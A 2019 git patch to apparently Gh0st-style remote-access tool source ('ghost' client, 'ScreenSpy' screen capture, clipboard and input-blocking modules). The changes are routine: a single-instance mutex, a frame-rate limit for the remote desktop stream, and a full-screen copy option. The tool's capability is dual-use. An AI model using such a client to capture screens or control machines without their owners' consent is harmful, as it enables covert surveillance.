From c681cf01324d70f08a6ab057cdd9826d88c5324a Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 7 Jan 2019 20:46:03 +0800 Subject: [PATCH] =?UTF-8?q?=E8=BF=9C=E7=A8=8B=E6=A1=8C=E9=9D=A2=E4=BC=98?= =?UTF-8?q?=E5=8C=96=E8=BF=9F=E9=92=9D=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 6 +++++ ReadMe.txt | 6 +++++ client/ClientDll.cpp | 7 ++++++ client/IOCPClient.cpp | 2 +- client/IOCPClient.h | 2 +- client/ScreenManager.cpp | 47 ++++++++++++++++++++++++--------------- client/ScreenManager.h | 15 +++++++------ client/ScreenSpy.cpp | 9 ++++++-- client/ScreenSpy.h | 1 + client/ghost.vcxproj.user | 1 + 10 files changed, 67 insertions(+), 29 deletions(-) diff --git a/.gitignore b/.gitignore index 6575190..5093f67 100644 --- a/.gitignore +++ b/.gitignore @@ -60,3 +60,9 @@ $RECYCLE.BIN/ # Windows shortcuts *.lnk +*.sdf +server/2015Remote/2015Remote.aps +*.ipch +*.aps +*.suo +server/2015Remote.VC.db diff --git a/ReadMe.txt b/ReadMe.txt index 6f83c98..027b478 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -24,3 +24,9 @@ 3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。 4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。 + +2019.1.7 + +1、ghost单台电脑只允许启动唯一的实例。 + +2、远程桌面反应迟钝,改用每秒传送8帧屏幕,后续有待优化。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 6922e8a..b03afa5 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -39,6 +39,12 @@ int main(int argc, const char *argv[]) std::cout<<".\n"; return -1; } + HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); + if (ERROR_ALREADY_EXISTS == GetLastError()) + { + CloseHandle(hMutex); + return -2; + } SetConsoleCtrlHandler(&callback, TRUE); const char *szServerIP = argv[1]; @@ -54,6 +60,7 @@ int main(int argc, const char *argv[]) CloseHandle(hThread); status = E_STOP; + CloseHandle(hMutex); return 0; } #else diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index efd70ed..e74af53 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -235,7 +235,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) } -int IOCPClient::OnServerSending(char* szBuffer, ULONG ulOriginalLength) //Hello +int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello { m_WriteBuffer.ClearBuffer(); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 6b10a0b..e3938c6 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -38,7 +38,7 @@ public: static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); - int OnServerSending(char* szBuffer, ULONG ulOriginalLength); + int OnServerSending(const char* szBuffer, ULONG ulOriginalLength); BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength); BOOL IsRunning() const diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 1fd7b41..73cd0bb 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -11,6 +11,7 @@ #else #include #endif +#include using namespace std; ////////////////////////////////////////////////////////////////////// @@ -44,10 +45,25 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) This->WaitForDialogOpen(); - This->SendFirstScreen(); + clock_t last = clock(); + This->SendFirstScreen(); + const int fps = 8;// ֡ + const int sleep = 1000 / fps;// ʱ䣨ms while (This->m_bIsWorking) { - This->SendNextScreen(); + ULONG ulNextSendLength = 0; + const char* szBuffer = This->GetNextScreen(ulNextSendLength); + if (szBuffer) + { + int span = sleep-(clock() - last); + Sleep(span > 0 ? span : 1); + if (span < 0) + printf("SendScreen Span = %d ms\n", span); + last = clock(); + This->SendNextScreen(szBuffer, ulNextSendLength); + delete[] szBuffer; + szBuffer = NULL; + } } cout<<"ScreenWorkThread Exit"<GetNextScreenData(&ulNextSendLength); + LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); - if (ulNextSendLength == 0 || NextScreenData==NULL) - { - return; + if (ulNextSendLength == 0 || NextScreenData == NULL) + { + return NULL; } ulNextSendLength += 1; - LPBYTE szBuffer = new BYTE[ulNextSendLength]; - if (szBuffer == NULL) - { - return; - } + char* szBuffer = new char[ulNextSendLength]; szBuffer[0] = TOKEN_NEXTSCREEN; memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1); - m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength); + return szBuffer; +} - delete [] szBuffer; - szBuffer = NULL; +VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength) +{ + m_ClientObject->OnServerSending(szBuffer, ulNextSendLength); } VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 5dc02d0..5759e64 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -22,18 +22,19 @@ public: HANDLE m_hWorkThread; static DWORD WINAPI WorkThreadProc(LPVOID lParam); - VOID CScreenManager::SendBitMapInfor(); - VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength); + VOID SendBitMapInfor(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); CScreenSpy* m_ScreenSpyObject; - VOID CScreenManager::SendFirstScreen(); - VOID CScreenManager::SendNextScreen(); + VOID SendFirstScreen(); + const char* GetNextScreen(ULONG &ulNextSendLength); + VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); - VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength); + VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); BOOL m_bIsWorking; BOOL m_bIsBlockInput; - VOID CScreenManager::SendClientClipboard(); - VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength); + VOID SendClientClipboard(); + VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); }; #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 39dd0ca..22e044a 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -200,10 +200,14 @@ VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength) m_RectBufferOffset += ulLength; } + VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) { - ULONG ulJumpLine = 50; - ULONG ulJumpSleep = ulJumpLine / 10; +#ifdef COPY_ALL + BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop); +#else + const ULONG ulJumpLine = 50; + const ULONG ulJumpSleep = ulJumpLine / 10; for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) { @@ -216,6 +220,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop); Sleep(ulJumpSleep); } +#endif } ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index db0a0d6..3b2492b 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -9,6 +9,7 @@ #pragma once #endif // _MSC_VER > 1000 #define ALGORITHM_DIFF 1 +#define COPY_ALL 1 // ȫĻֿ鿽added by yuanyuanxiang 2019-1-7 #include "CursorInfor.h" diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user index 11a43ca..437fef5 100644 --- a/client/ghost.vcxproj.user +++ b/client/ghost.vcxproj.user @@ -6,5 +6,6 @@ WindowsLocalDebugger + 192.168.43.165 2356 \ No newline at end of file